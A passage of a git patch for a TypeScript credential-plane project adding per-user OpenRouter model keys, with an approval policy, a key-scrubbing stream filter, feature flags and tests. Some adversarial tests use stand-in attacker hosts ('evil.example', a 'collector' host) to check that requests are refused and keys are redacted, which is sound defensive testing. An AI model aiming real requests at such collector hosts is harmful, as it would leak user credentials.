'ok' : verdict.reason)); + expect(actual).toEqual(['body_not_json', 'body_not_json', 'model_invalid', 'model_invalid', 'body_too_large']); + }); +}); + +describe('modelKeyApprovalPolicy', () => { + const policy = modelKeyApprovalPolicy({ approver: 'u1' as UserId }); + const canonical = (() => { + const verdict = canonicalizeInferenceRequest({ body, sha256 }); + if (!verdict.ok) throw new Error('fixture'); + return verdict.canonical; + })(); + const decide = (usage: { usesThisHour: number; bytesOutThisHour: number; concurrent: number }, origin = canonical.origin) => + decideApproval({ operation: canonical.operation, restrictions: {}, delegationScope: policy.scope, policy, requestDigest: 'd' as never, origin, resources: canonical.resources, now: 1, usage }); + + it('given a model call within the limits, should allow it by policy without asking', () => { + expect(decide({ usesThisHour: 0, bytesOutThisHour: 0, concurrent: 0 })).toEqual({ kind: 'policy' }); + }); + + it('given the hourly or concurrency ceiling reached, should refuse rather than ask', () => { + expect([decide({ usesThisHour: 1200, bytesOutThisHour: 0, concurrent: 0 }), decide({ usesThisHour: 0, bytesOutThisHour: 0, concurrent: 12 })]).toEqual([ + { kind: 'refuse', reason: 'limits_exceeded' }, + { kind: 'refuse', reason: 'limits_exceeded' }, + ]); + }); + + it('given any other origin, should be outside the delegated scope', () => { + expect(decide({ usesThisHour: 0, bytesOutThisHour: 0, concurrent: 0 }, 'https://evil.example' as never)).toEqual({ kind: 'refuse', reason: 'out_of_scope' }); + }); +}); + +describe('isModelKeyAccount', () => { + it('given the reserved slug, should be a model key; any other slug or none, should not', () => { + expect([isModelKeyAccount({ providerSlug: MODEL_KEY_PROVIDER_SLUG }), isModelKeyAccount({ providerSlug: 'google' }), isModelKeyAccount({ providerSlug: null })]).toEqual([true, false, false]); + }); +}); diff --git a/packages/lib/src/agent-accounts/inference/__tests__/stream-scrubber.test.ts b/packages/lib/src/agent-accounts/inference/__tests__/stream-scrubber.test.ts new file mode 100644 index 0000000000..9eb7d1b90a --- /dev/null +++ b/packages/lib/src/agent-accounts/inference/__tests__/stream-scrubber.test.ts @@ -0,0 +1,45 @@ +import { describe, it, expect } from 'vitest'; +import { createStreamScrubber, SCRUBBED } from '../stream-scrubber'; + +const KEY = 'sk-or-v1-0123456789abcdef0123456789abcdef'; +const enc = (text: string) => new TextEncoder().encode(text); +const run = (chunks: readonly Uint8Array[], knownValues: readonly string[] = [KEY]) => { + const scrubber = createStreamScrubber({ knownValues }); + const parts = [...chunks.map((chunk) => scrubber.push(chunk)), scrubber.flush()]; + return { text: Buffer.concat(parts.map((part) => Buffer.from(part))).toString('utf8'), redacted: scrubber.redacted() }; +}; + +describe('createStreamScrubber', () => { + it('given a stream that never contains the key, should pass every byte through unchanged', () => { + const body = 'data: {"choices":[{"delta":{"content":"hello"}}]}\n\ndata: [DONE]\n\n'; + expect(run([enc(body.slice(0, 7)), enc(body.slice(7))])).toEqual({ text: body, redacted: false }); + }); + + it('given the key echoed inside one chunk, should remove it', () => { + expect(run([enc(`data: {"echo":"${KEY}"}\n\n`)])).toEqual({ text: `data: {"echo":"${SCRUBBED}"}\n\n`, redacted: true }); + }); + + it('given the key split across chunks at every possible point, should still remove it', () => { + const body = `before ${KEY} after`; + const actual = new Set(Array.from({ length: body.length - 1 }, (_, cut) => run([enc(body.slice(0, cut + 1)), enc(body.slice(cut + 1))]).text)); + expect([...actual]).toEqual([`before ${SCRUBBED} after`]); + }); + + it('given the key arriving one byte at a time, should remove it', () => { + const body = `x${KEY}y`; + expect(run([...enc(body)].map((byte) => Uint8Array.of(byte))).text).toBe(`x${SCRUBBED}y`); + }); + + it('given a multi-byte character cut at a chunk boundary, should keep it intact', () => { + const bytes = enc('héllo — ok'); + expect(run([bytes.slice(0, 2), bytes.slice(2)]).text).toBe('héllo — ok'); + }); + + it('given both the key and its "Bearer" form, should remove the longer form whole', () => { + expect(run([enc(`a Bearer ${KEY} b`)], [KEY, `Bearer ${KEY}`]).text).toBe(`a ${SCRUBBED} b`); + }); + + it('given values too short to be secrets, should not scrub them', () => { + expect(run([enc('the cat sat')], ['cat']).text).toBe('the cat sat'); + }); +}); diff --git a/packages/lib/src/agent-accounts/inference/model-key.ts b/packages/lib/src/agent-accounts/inference/model-key.ts new file mode 100644 index 0000000000..b1057709b6 --- /dev/null +++ b/packages/lib/src/agent-accounts/inference/model-key.ts @@ -0,0 +1,100 @@ +/** + * A PERSON'S OWN MODEL KEY (ADR 0009) — the request model the authority and the + * plane's inference executor share. Pure. + * + * A model key is an ordinary user-owned `api_key` agent account with one + * reserved `providerSlug`, pinned to OpenRouter. It is never an agent's tool: + * `authorize` (http_request) refuses it, and only `authorizeInference` issues + * grants for it, with audience `inference-executor` and `agentPageId: null` — + * the key belongs to the person's model calls, not to any one agent page. + * + * One model call is one CanonicalRequest: POST to the pinned chat-completions + * path, the body digested byte for byte, the model id bound as a resource (so + * the audit says which model ran, and a restriction could narrow it). + */ +import type { AccountApprovalPolicy, ApprovalScope } from '../approval'; +import type { CanonicalOrigin, CanonicalRequest } from '../canonical-request'; +import type { HashBytes, OperationRef, UserId } from '../grant'; + +/** The reserved slug that makes an agent account a person's model key. */ +export const MODEL_KEY_PROVIDER_SLUG = 'openrouter-model-key'; +export const MODEL_KEY_ACCOUNT_NAME = 'OpenRouter model key'; +/** Canonical form (explicit port), as `normalizeOrigin` writes every stored origin. */ +export const INFERENCE_ORIGIN = 'https://openrouter.ai:443' as CanonicalOrigin; +export const INFERENCE_PATH = '/api/v1/chat/completions'; +/** What the AI SDK's OpenRouter provider posts to; any other URL is refused before a grant is asked for. */ +export const INFERENCE_URL = `https://openrouter.ai${INFERENCE_PATH}`; +/** `write`: it spends the person's money, so it needs a bounded policy, but it is never irreversible or privileged. */ +export const INFERENCE_OPERATION: OperationRef = { class: 'write', name: 'openrouter.chat_completion' }; +/** Large contexts with images run to a few MiB; anything past this is not a model call we send. */ +export const MAX_INFERENCE_BODY_BYTES = 8 * 1024 * 1024; +/** The key is sent as a bearer token; stored with this placement for the record (the executor builds the header itself). */ +export const MODEL_KEY_PLACEMENT = { in: 'header', name: 'authorization' } as const; + +/** How long the standing consent for unattended runs lasts before the person re-adds or renews the key. */ +export const MODEL_KEY_DELEGATION_TTL_MS = 365 * 24 * 60 * 60 * 1000; + +/** + * The bounded always-allow the person agrees to when they add the key: model calls only, on OpenRouter only, + * with hourly and concurrency ceilings so a runaway loop (or a prompt injection that keeps an agent busy) + * cannot spend without limit. + */ +export const MODEL_KEY_LIMITS: AccountApprovalPolicy['limits'] = { maxUsesPerHour: 1200, maxBytesOut: 1024 * 1024 * 1024, maxConcurrent: 12 }; + +export const MODEL_KEY_SCOPE: ApprovalScope = { origins: [INFERENCE_ORIGIN], operations: [INFERENCE_OPERATION], resources: [] }; + +export function modelKeyApprovalPolicy({ approver }: { readonly approver: UserId }): AccountApprovalPolicy { + return { scope: MODEL_KEY_SCOPE, trigger: 'irreversible_only', duration: null, limits: MODEL_KEY_LIMITS, approver }; +} + +const MODEL_ID_RE = /^[A-Za-z0-9][A-Za-z0-9._:/@+-]{0,199}$/; + +export type InferenceRequestRefusal = 'body_too_large' | 'body_not_json' | 'model_invalid'; +export type InferenceRequestVerdict = { readonly ok: true; readonly canonical: CanonicalRequest; readonly model: string } | { readonly ok: false; readonly reason: InferenceRequestRefusal }; + +/** + * Canonicalize one model call from the exact body text that will be sent. Both sides run this over the same + * text — the authority to sign, the plane to verify — so a body changed in between is `digest_mismatch`. + */ +export function canonicalizeInferenceRequest({ body, sha256 }: { readonly body: string; readonly sha256: HashBytes }): InferenceRequestVerdict { + const bytes = new TextEncoder().encode(body); + if (bytes.byteLength > MAX_INFERENCE_BODY_BYTES) return { ok: false, reason: 'body_too_large' }; + let parsed: unknown; + try { + parsed = JSON.parse(body); + } catch { + return { ok: false, reason: 'body_not_json' }; + } + if (typeof parsed !== 'object' || parsed === null || Array.isArray(parsed)) return { ok: false, reason: 'body_not_json' }; + const model = (parsed as { model?: unknown }).model; + if (typeof model !== 'string' || !MODEL_ID_RE.test(model)) return { ok: false, reason: 'model_invalid' }; + return { + ok: true, + model, + canonical: { + channel: 'inference-executor', + method: 'POST', + origin: INFERENCE_ORIGIN, + path: INFERENCE_PATH, + query: [], + headers: [['content-type', 'application/json']], + bodySha256: sha256(bytes), + resources: [['model', model]], + operation: INFERENCE_OPERATION, + }, + }; +} + +/** Whether an agent account row is a person's model key. */ +export function isModelKeyAccount(row: { readonly providerSlug: string | null }): boolean { + return row.providerSlug === MODEL_KEY_PROVIDER_SLUG; +} + +const MODEL_KEY_RE = /^sk-or-[\x21-\x7e]{16,500}$/; + +/** An OpenRouter key as a person pastes it: trimmed, printable, `sk-or-` prefixed. The value never leaves this check except to the plane. */ +export function decideModelKeyInput({ apiKey }: { readonly apiKey: unknown }): { readonly ok: true; readonly apiKey: string } | { readonly ok: false; readonly reason: 'key_invalid' } { + if (typeof apiKey !== 'string') return { ok: false, reason: 'key_invalid' }; + const trimmed = apiKey.trim(); + return MODEL_KEY_RE.test(trimmed) ? { ok: true, apiKey: trimmed } : { ok: false, reason: 'key_invalid' }; +} diff --git a/packages/lib/src/agent-accounts/inference/stream-scrubber.ts b/packages/lib/src/agent-accounts/inference/stream-scrubber.ts new file mode 100644 index 0000000000..24a61a8bfc --- /dev/null +++ b/packages/lib/src/agent-accounts/inference/stream-scrubber.ts @@ -0,0 +1,57 @@ +/** + * `createStreamScrubber` — removes known secret values from a byte stream that + * arrives in arbitrary chunks (ADR 0009 I4). Pure: no I/O, no clock. + * + * A value split across two chunks is still caught: after scrubbing, the last + * `longest - 1` bytes are held back until the next chunk (or `flush`), so any + * occurrence lies wholly inside the text being scrubbed. Matching is byte-exact + * (the stream is read as latin1, which maps each byte to one code unit), so a + * multi-byte character cut at a chunk boundary is never mangled. + */ +export const SCRUBBED = '[redacted]'; +const MIN_SCRUB_LENGTH = 8; + +export type StreamScrubber = { + readonly push: (chunk: Uint8Array) => Uint8Array; + readonly flush: () => Uint8Array; + /** Whether any value was removed so far. */ + readonly redacted: () => boolean; +}; + +const toLatin1 = (bytes: Uint8Array) => Buffer.from(bytes.buffer, bytes.byteOffset, bytes.byteLength).toString('latin1'); +const fromLatin1 = (text: string) => new Uint8Array(Buffer.from(text, 'latin1')); + +export function createStreamScrubber({ knownValues }: { readonly knownValues: readonly string[] }): StreamScrubber { + // Longest first, so a value that contains another is removed whole. + const needles = [...new Set(knownValues.filter((value) => value.length >= MIN_SCRUB_LENGTH).map((value) => toLatin1(new TextEncoder().encode(value))))].sort((a, b) => b.length - a.length); + const hold = needles.length === 0 ? 0 : needles[0]!.length - 1; + let pending = ''; + let removed = false; + + const scrub = (text: string) => { + let out = text; + for (const needle of needles) { + if (out.includes(needle)) { + out = out.split(needle).join(SCRUBBED); + removed = true; + } + } + return out; + }; + + return { + push(chunk) { + pending = scrub(pending + toLatin1(chunk)); + if (pending.length <= hold) return new Uint8Array(0); + const out = pending.slice(0, pending.length - hold); + pending = pending.slice(pending.length - hold); + return fromLatin1(out); + }, + flush() { + const out = scrub(pending); + pending = ''; + return fromLatin1(out); + }, + redacted: () => removed, + }; +} diff --git a/packages/lib/src/agent-accounts/parse-grant.ts b/packages/lib/src/agent-accounts/parse-grant.ts index 46c9459d0f..2df606b2b3 100644 --- a/packages/lib/src/agent-accounts/parse-grant.ts +++ b/packages/lib/src/agent-accounts/parse-grant.ts @@ -40,7 +40,7 @@ import { ACCOUNT_KIND_VALUES } from '@pagespace/db/schema/agent-accounts'; import { GRANT_ISSUER } from './grant-constants'; import { decideSandboxBinding } from './decide-sandbox-binding'; -const PRESENTER_CHANNELS = ['http-executor', 'relay-runner', 'browser-worker', 'refresh-worker', 'ssh-executor'] as const satisfies readonly PresenterChannel[]; +const PRESENTER_CHANNELS = ['http-executor', 'relay-runner', 'browser-worker', 'refresh-worker', 'ssh-executor', 'inference-executor'] as const satisfies readonly PresenterChannel[]; /** The schema's own list: a kind added there is a kind a grant may name. */ const ACCOUNT_KINDS = ACCOUNT_KIND_VALUES; const OPERATION_CLASSES = ['read', 'write', 'irreversible', 'privilege', 'unknown'] as const; diff --git a/packages/lib/src/agent-accounts/plane-client.ts b/packages/lib/src/agent-accounts/plane-client.ts index 98d05e6a50..2eeab9ef34 100644 --- a/packages/lib/src/agent-accounts/plane-client.ts +++ b/packages/lib/src/agent-accounts/plane-client.ts @@ -39,7 +39,7 @@ import type { PlaneUsageBody, PlaneUsageResult, } from './executor/plane-wire'; -import { PLANE_ROUTES } from './executor/plane-wire'; +import { INFERENCE_UPSTREAM_HEADER, INFERENCE_UPSTREAM_STATUS_HEADER, PLANE_ROUTES, type PlaneInferenceRefusal, type PlaneInferenceStreamBody } from './executor/plane-wire'; import { PLANE_SIGNATURE_HEADER, signPlaneRequest } from './executor/plane-request-signature'; import { classifyPlaneCallFailure, type PlaneCallFailure, type PlaneRoute } from './classify-plane-call-failure'; @@ -64,8 +64,17 @@ export type PlaneClient = { readonly sshEnroll: (body: PlaneSshEnrollBody) => Promise; readonly sshExec: (body: PlaneSshExecBody) => Promise; readonly execute: (body: PlaneExecuteBody) => Promise; + /** + * One model call on a person's own model key (ADR 0009). On success the Response IS OpenRouter's answer — + * its status and content type, the body streamed through the plane with the key scrubbed. A refusal or a + * plane that could not be reached is a typed reason, never a Response. + */ + readonly inferStream: (body: PlaneInferenceStreamBody, options?: { readonly signal?: AbortSignal }) => Promise<{ readonly ok: true; readonly response: Response } | PlaneInferenceRefusal | PlaneUnavailable | { readonly ok: false; readonly reason: 'outcome_unknown' | 'refused' }>; }; +/** A streamed model call may run for the executor's whole 10 minutes. */ +const INFERENCE_TIMEOUT_MS = 11 * 60_000; + const hmac = (key: string, text: string) => createHmac('sha256', key).update(text).digest('hex'); const sha256 = (bytes: Uint8Array) => createHash('sha256').update(bytes).digest('hex'); @@ -109,7 +118,37 @@ export function createPlaneClient({ } } + async function inferStream(body: PlaneInferenceStreamBody, options: { readonly signal?: AbortSignal } = {}) { + const path = PLANE_ROUTES.inferenceStream; + const bytes = new TextEncoder().encode(JSON.stringify(body)); + const header = signPlaneRequest({ method: 'POST', path, body: bytes, secret, now: now(), hmac, sha256 }); + const signals = [AbortSignal.timeout(INFERENCE_TIMEOUT_MS), ...(options.signal ? [options.signal] : [])]; + try { + const response = await fetchImpl(`${baseUrl.replace(/\/$/, '')}${path}`, { + method: 'POST', + headers: { 'content-type': 'application/json', [PLANE_SIGNATURE_HEADER]: header }, + body: bytes, + signal: AbortSignal.any(signals), + }); + if (response.status !== 200) return failed('inferenceStream', { kind: 'status', status: response.status }); + if (response.headers.get(INFERENCE_UPSTREAM_HEADER) !== 'upstream') return (await response.json()) as PlaneInferenceRefusal; + const upstreamStatus = Number(response.headers.get(INFERENCE_UPSTREAM_STATUS_HEADER)); + return { + ok: true as const, + response: new Response(response.body, { + status: Number.isInteger(upstreamStatus) && upstreamStatus >= 200 && upstreamStatus <= 599 ? upstreamStatus : 502, + headers: { 'content-type': response.headers.get('content-type') ?? 'application/octet-stream' }, + }), + }; + } catch (error) { + if (error instanceof Error && (error.name === 'TimeoutError' || error.name === 'AbortError')) return failed('inferenceStream', { kind: 'timeout' }); + const code = (error as { cause?: { code?: unknown } }).cause?.code ?? (error as { code?: unknown }).code; + return failed('inferenceStream', { kind: 'network', code: typeof code === 'string' ? code : null }); + } + } + return { + inferStream, put: (body) => call('put', PLANE_ROUTES.put, body) as Promise, revoke: (body) => call('revoke', PLANE_ROUTES.revoke, body) as Promise, delete: (body) => call('delete', PLANE_ROUTES.delete, body) as Promise, diff --git a/packages/lib/src/agent-accounts/store/decide-resolve-caller.ts b/packages/lib/src/agent-accounts/store/decide-resolve-caller.ts index 65166d5d67..21d49767b7 100644 --- a/packages/lib/src/agent-accounts/store/decide-resolve-caller.ts +++ b/packages/lib/src/agent-accounts/store/decide-resolve-caller.ts @@ -34,6 +34,9 @@ export const decideResolveCaller: DecideResolveCaller = ({ aud, kind, sessionHtt return kind === 'api_key' || kind === 'bearer' || kind === 'oauth2' ? ALLOW : DENY; case 'relay-runner': return kind === 'api_key' || kind === 'bearer' || kind === 'oauth2' ? ALLOW : DENY; + case 'inference-executor': + // A person's model key (ADR 0009) is an api_key; the inference executor reads nothing else. + return kind === 'api_key' ? ALLOW : DENY; case 'ssh-executor': // An SSH key is the SSH executor's alone, and that is all it may read. return kind === 'ssh_key' ? ALLOW : DENY; diff --git a/packages/lib/src/agent-accounts/store/store-adapter.ts b/packages/lib/src/agent-accounts/store/store-adapter.ts index 809c63028b..008e4e3bf1 100644 --- a/packages/lib/src/agent-accounts/store/store-adapter.ts +++ b/packages/lib/src/agent-accounts/store/store-adapter.ts @@ -159,6 +159,7 @@ export type ResolvableBy = { readonly 'browser-worker': 'session' | 'password'; readonly 'refresh-worker': 'oauth2'; readonly 'ssh-executor': 'ssh_key'; + readonly 'inference-executor': 'api_key'; }[C]; /** `oauth2` as ordinary executors see it: the access token only, never the refresh token. */ diff --git a/packages/lib/src/agent-accounts/verify-grant.ts b/packages/lib/src/agent-accounts/verify-grant.ts index 308cf456a5..22ea806ade 100644 --- a/packages/lib/src/agent-accounts/verify-grant.ts +++ b/packages/lib/src/agent-accounts/verify-grant.ts @@ -64,6 +64,8 @@ const RESOLVABLE: Readonly { + it('given no default row and no override, should be off', () => { + expect(decideFeatureFlag(base)).toBe(false); + }); + + it('given a per-user override, should win over the default either way', () => { + const actual = [ + decideFeatureFlag({ ...base, enabledByDefault: false, userOverride: true }), + decideFeatureFlag({ ...base, enabledByDefault: true, userOverride: false }), + ]; + expect(actual).toEqual([true, false]); + }); + + it('given only a default, should follow it', () => { + expect([decideFeatureFlag({ ...base, enabledByDefault: true }), decideFeatureFlag({ ...base, enabledByDefault: false })]).toEqual([true, false]); + }); + + it('given on-prem, should keep a flag that reaches an external service off even when an admin enabled it', () => { + expect(decideFeatureFlag({ ...base, deploymentMode: 'onprem', enabledByDefault: true, userOverride: true })).toBe(false); + }); + + it('given tenant mode, should follow the rows like cloud', () => { + expect(decideFeatureFlag({ ...base, deploymentMode: 'tenant', userOverride: true })).toBe(true); + }); +}); + +describe('isFeatureFlagKey', () => { + it('given a key code does not define, should refuse it', () => { + expect([isFeatureFlagKey('byok_model_key'), isFeatureFlagKey('nope'), isFeatureFlagKey(1)]).toEqual([true, false, false]); + }); +}); diff --git a/packages/lib/src/feature-flags/decide-feature-flag.ts b/packages/lib/src/feature-flags/decide-feature-flag.ts new file mode 100644 index 0000000000..4c5a86fdc3 --- /dev/null +++ b/packages/lib/src/feature-flags/decide-feature-flag.ts @@ -0,0 +1,25 @@ +/** + * `decideFeatureFlag` — whether one flag is on for one person. Pure. + * + * On-prem first (a flag whose feature reaches an external service is off there, + * whatever any row says), then the person's own override, then the flag's default, + * then off: a flag nobody has set is never on. + */ +import type { DeploymentMode } from '../deployment-mode'; +import type { FeatureFlagKey } from './flags'; +import { FEATURE_FLAGS } from './flags'; + +export type FeatureFlagFacts = { + readonly flag: FeatureFlagKey; + readonly deploymentMode: DeploymentMode; + /** The flag's row default; null when no row exists. */ + readonly enabledByDefault: boolean | null; + /** This person's override; null when none. */ + readonly userOverride: boolean | null; +}; + +export function decideFeatureFlag({ flag, deploymentMode, enabledByDefault, userOverride }: FeatureFlagFacts): boolean { + if (deploymentMode === 'onprem' && !FEATURE_FLAGS[flag].availableOnPrem) return false; + if (userOverride !== null) return userOverride; + return enabledByDefault ?? false; +} diff --git a/packages/lib/src/feature-flags/feature-flag-repository.ts b/packages/lib/src/feature-flags/feature-flag-repository.ts new file mode 100644 index 0000000000..a357edc052 --- /dev/null +++ b/packages/lib/src/feature-flags/feature-flag-repository.ts @@ -0,0 +1,91 @@ +/** + * Feature-flag storage. I/O only: `decideFeatureFlag` decides; this file reads and + * writes the two rows it decides from. + */ +import { db as defaultDb } from '@pagespace/db/db'; +import { and, eq } from '@pagespace/db/operators'; +import { featureFlags, featureFlagUserOverrides } from '@pagespace/db/schema/feature-flags'; +import { getDeploymentMode, type DeploymentMode } from '../deployment-mode'; +import type { FeatureFlagKey } from './flags'; +import { FEATURE_FLAG_KEYS } from './flags'; +import { decideFeatureFlag } from './decide-feature-flag'; + +export type FeatureFlagDatabase = Pick; + +export type FeatureFlagState = { readonly key: FeatureFlagKey; readonly enabledByDefault: boolean; readonly updatedAt: Date | null; readonly userOverrideCount: number }; +export type FeatureFlagOverride = { readonly userId: string; readonly enabled: boolean; readonly updatedAt: Date; readonly updatedBy: string | null }; + +export type FeatureFlagRepository = { + readonly isEnabled: (input: { readonly flag: FeatureFlagKey; readonly userId: string }) => Promise; + readonly list: () => Promise; + readonly setDefault: (input: { readonly flag: FeatureFlagKey; readonly enabled: boolean; readonly adminUserId: string }) => Promise; + readonly listOverrides: (flag: FeatureFlagKey) => Promise; + readonly setOverride: (input: { readonly flag: FeatureFlagKey; readonly userId: string; readonly enabled: boolean; readonly adminUserId: string }) => Promise; + readonly removeOverride: (input: { readonly flag: FeatureFlagKey; readonly userId: string }) => Promise; +}; + +export function createFeatureFlagRepository({ db = defaultDb, deploymentMode = getDeploymentMode }: { readonly db?: FeatureFlagDatabase; readonly deploymentMode?: () => DeploymentMode } = {}): FeatureFlagRepository { + return { + async isEnabled({ flag, userId }) { + const [flagRows, overrideRows] = await Promise.all([ + db.select({ enabledByDefault: featureFlags.enabledByDefault }).from(featureFlags).where(eq(featureFlags.key, flag)).limit(1), + db + .select({ enabled: featureFlagUserOverrides.enabled }) + .from(featureFlagUserOverrides) + .where(and(eq(featureFlagUserOverrides.flagKey, flag), eq(featureFlagUserOverrides.userId, userId))) + .limit(1), + ]); + return decideFeatureFlag({ flag, deploymentMode: deploymentMode(), enabledByDefault: flagRows[0]?.enabledByDefault ?? null, userOverride: overrideRows[0]?.enabled ?? null }); + }, + + async list() { + const [rows, overrides] = await Promise.all([ + db.select().from(featureFlags), + db.select({ flagKey: featureFlagUserOverrides.flagKey }).from(featureFlagUserOverrides), + ]); + return FEATURE_FLAG_KEYS.map((key) => { + const row = rows.find((candidate) => candidate.key === key); + return { key, enabledByDefault: row?.enabledByDefault ?? false, updatedAt: row?.updatedAt ?? null, userOverrideCount: overrides.filter((override) => override.flagKey === key).length }; + }); + }, + + async setDefault({ flag, enabled, adminUserId }) { + const now = new Date(); + await db + .insert(featureFlags) + .values({ key: flag, enabledByDefault: enabled, updatedAt: now, updatedBy: adminUserId }) + .onConflictDoUpdate({ target: featureFlags.key, set: { enabledByDefault: enabled, updatedAt: now, updatedBy: adminUserId } }); + }, + + async listOverrides(flag) { + return db + .select({ userId: featureFlagUserOverrides.userId, enabled: featureFlagUserOverrides.enabled, updatedAt: featureFlagUserOverrides.updatedAt, updatedBy: featureFlagUserOverrides.updatedBy }) + .from(featureFlagUserOverrides) + .where(eq(featureFlagUserOverrides.flagKey, flag)); + }, + + async setOverride({ flag, userId, enabled, adminUserId }) { + const now = new Date(); + await db + .insert(featureFlagUserOverrides) + .values({ flagKey: flag, userId, enabled, updatedAt: now, updatedBy: adminUserId }) + .onConflictDoUpdate({ target: [featureFlagUserOverrides.flagKey, featureFlagUserOverrides.userId], set: { enabled, updatedAt: now, updatedBy: adminUserId } }); + }, + + async removeOverride({ flag, userId }) { + const removed = await db + .delete(featureFlagUserOverrides) + .where(and(eq(featureFlagUserOverrides.flagKey, flag), eq(featureFlagUserOverrides.userId, userId))) + .returning({ userId: featureFlagUserOverrides.userId }); + return removed.length > 0; + }, + }; +} + +let shared: FeatureFlagRepository | null = null; + +/** Whether `flag` is on for `userId` right now (no cache: an admin's change applies to the next call). */ +export function isFeatureEnabled(flag: FeatureFlagKey, userId: string): Promise { + shared ??= createFeatureFlagRepository(); + return shared.isEnabled({ flag, userId }); +} diff --git a/packages/lib/src/feature-flags/flags.ts b/packages/lib/src/feature-flags/flags.ts new file mode 100644 index 0000000000..665b7a5255 --- /dev/null +++ b/packages/lib/src/feature-flags/flags.ts @@ -0,0 +1,26 @@ +/** + * The feature flags PageSpace knows. A key not listed here is never read from the + * database and never offered in Admin: the code decides what a flag can switch. + */ +export const FEATURE_FLAG_KEYS = ['byok_model_key'] as const; +export type FeatureFlagKey = (typeof FEATURE_FLAG_KEYS)[number]; + +export type FeatureFlagDefinition = { + readonly label: string; + readonly description: string; + /** false = the flag is off on-prem whatever an admin sets (the feature reaches an external service). */ + readonly availableOnPrem: boolean; +}; + +export const FEATURE_FLAGS: Readonly> = { + byok_model_key: { + label: 'Bring your own OpenRouter key', + description: + "Lets a person add their own OpenRouter API key in Settings → AI. Their own model calls then run on their key through the credential plane (PageSpace never holds it) and are not charged PageSpace credits. Calls an org pays for always use PageSpace's key.", + availableOnPrem: false, + }, +}; + +export function isFeatureFlagKey(value: unknown): value is FeatureFlagKey { + return typeof value === 'string' && (FEATURE_FLAG_KEYS as readonly string[]).includes(value); +} From 0587b59f4282b3e0dcbeca4fd9f37eb501e7264b Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Sun, 29 Nov 2026 19:41:18 -0600 Subject: [PATCH 03/35] test(agent-accounts): inference executor through the real grant chain, and end to end on the plane (BYOK-8) Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ3GsonBXCUfPUhaSNR --- ...tp-executor-end-to-end.integration.test.ts | 87 ++++++- .../__tests__/inference-executor.test.ts | 228 ++++++++++++++++++ .../executor/inference-executor.ts | 4 +- .../__tests__/authorize-inference.test.ts | 3 +- 4 files changed, 316 insertions(+), 6 deletions(-) create mode 100644 packages/lib/src/agent-accounts/executor/__tests__/inference-executor.test.ts diff --git a/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts b/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts index a821c021a4..7afd4ee35d 100644 --- a/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts @@ -35,6 +35,8 @@ import { AGENT_ACCOUNT_OPERATIONS, GOOGLE_ORIGINS } from '../../registry/google- import { Server as SshServer, utils as sshUtils, type AuthContext, type Connection as SshConnection } from 'ssh2'; import { createSshClient, generateSshKeyPair } from '../../executor/ssh-client'; import { createSshCommandExecutor } from '../../executor/ssh-command-executor'; +import { createInferenceExecutor } from '../../executor/inference-executor'; +import { createPinnedHttpsStreamClient } from '../../executor/pinned-https-stream'; import { eq, sql } from '@pagespace/db/operators'; import { users } from '@pagespace/db/schema/auth'; import { drives, pages } from '@pagespace/db/schema/core'; @@ -80,6 +82,9 @@ const HOST = 'api.e2e-weather.example'; /** A second name on the same test certificate, so a request there would succeed if nothing refused it. */ const EVIL_HOST = 'collector.e2e-evil.example'; const RUN = `g2e2e${Date.now()}`; +/** A person's own OpenRouter key (ADR 0009): the inference executor's canary. */ +const MODEL_KEY = `sk-or-v1-${randomBytes(20).toString('hex')}`; +const inferenceBodies: string[] = []; // Real PageSpace ids are cuid2; the centralized permission functions refuse anything else. const OWNER = createId() as UserId; const VIEWER = createId() as UserId; @@ -123,7 +128,7 @@ function openssl(args: readonly string[]) { } function startUpstream(): Promise { - writeFileSync(path.join(certDir, 'leaf.ext'), `subjectAltName=DNS:${HOST},DNS:${EVIL_HOST}\n`); + writeFileSync(path.join(certDir, 'leaf.ext'), `subjectAltName=DNS:${HOST},DNS:${EVIL_HOST},DNS:openrouter.ai\n`); openssl(['req', '-x509', '-newkey', 'rsa:2048', '-nodes', '-keyout', 'ca.key', '-subj', '/CN=g2-e2e-ca', '-days', '1', '-out', 'ca.pem']); openssl(['req', '-newkey', 'rsa:2048', '-nodes', '-keyout', 'leaf.key', '-subj', `/CN=${HOST}`, '-out', 'leaf.csr']); openssl(['x509', '-req', '-in', 'leaf.csr', '-CA', 'ca.pem', '-CAkey', 'ca.key', '-CAcreateserial', '-days', '1', '-extfile', 'leaf.ext', '-out', 'leaf.pem']); @@ -155,6 +160,25 @@ function startUpstream(): Promise { }); return; } + if (req.url === '/api/v1/chat/completions' && req.method === 'POST') { + // OpenRouter, as the inference executor reaches it: the person's key as a bearer token, and a stream that echoes it. + if (req.headers.authorization !== `Bearer ${MODEL_KEY}`) { + res.writeHead(401, { 'content-type': 'application/json' }); + return res.end('{"error":{"message":"No auth credentials found","code":401}}'); + } + const chunks: Buffer[] = []; + req.on('data', (chunk: Buffer) => chunks.push(chunk)); + req.on('end', () => { + inferenceBodies.push(Buffer.concat(chunks).toString('utf8')); + res.writeHead(200, { 'content-type': 'text/event-stream', 'set-cookie': `k=${MODEL_KEY}` }); + res.write(`data: {"choices":[{"delta":{"content":"echo ${MODEL_KEY.slice(0, 12)}`); + setTimeout(() => { + res.write(`${MODEL_KEY.slice(12)}"}}]}\n\n`); + res.end('data: [DONE]\n\n'); + }, 20); + }); + return; + } const authorized = req.headers['x-api-key'] === CANARY || req.headers.authorization === `Bearer ${CANARY}`; if (!authorized) { res.writeHead(401, { 'content-type': 'application/json' }); @@ -240,8 +264,26 @@ async function startPlane({ isPublic = () => true, wrapAudit = (r: AgentAccountA rotationGraceMs: 300_000, maxReleasedBodyBytes: 64 * 1024, }); + const inference = createInferenceExecutor({ + store, + provisioner, + accounts: createAgentAccountRepository({ db }), + grantGate: createGrantGate({ replayStore: createReplayStoreRepository({ db }) }), + audited: createAuditedExecutor({ auditRepository: wrapAudit(createAgentAccountAuditRepository({ appendPath: createSecurityAuditRepository({ db }) })), hash: sha3 }), + network: createPinnedHttpsStreamClient({ resolveHost: async () => [{ address: '127.0.0.1', family: 4 }], isPublic, ca, limits: { totalTimeoutMs: 10_000, maxResponseBytes: 1_000_000, maxConcurrent: 8 } }), + planeScope: (ref) => metadata.read(ref).then((facts) => facts?.scope ?? null), + usage, + 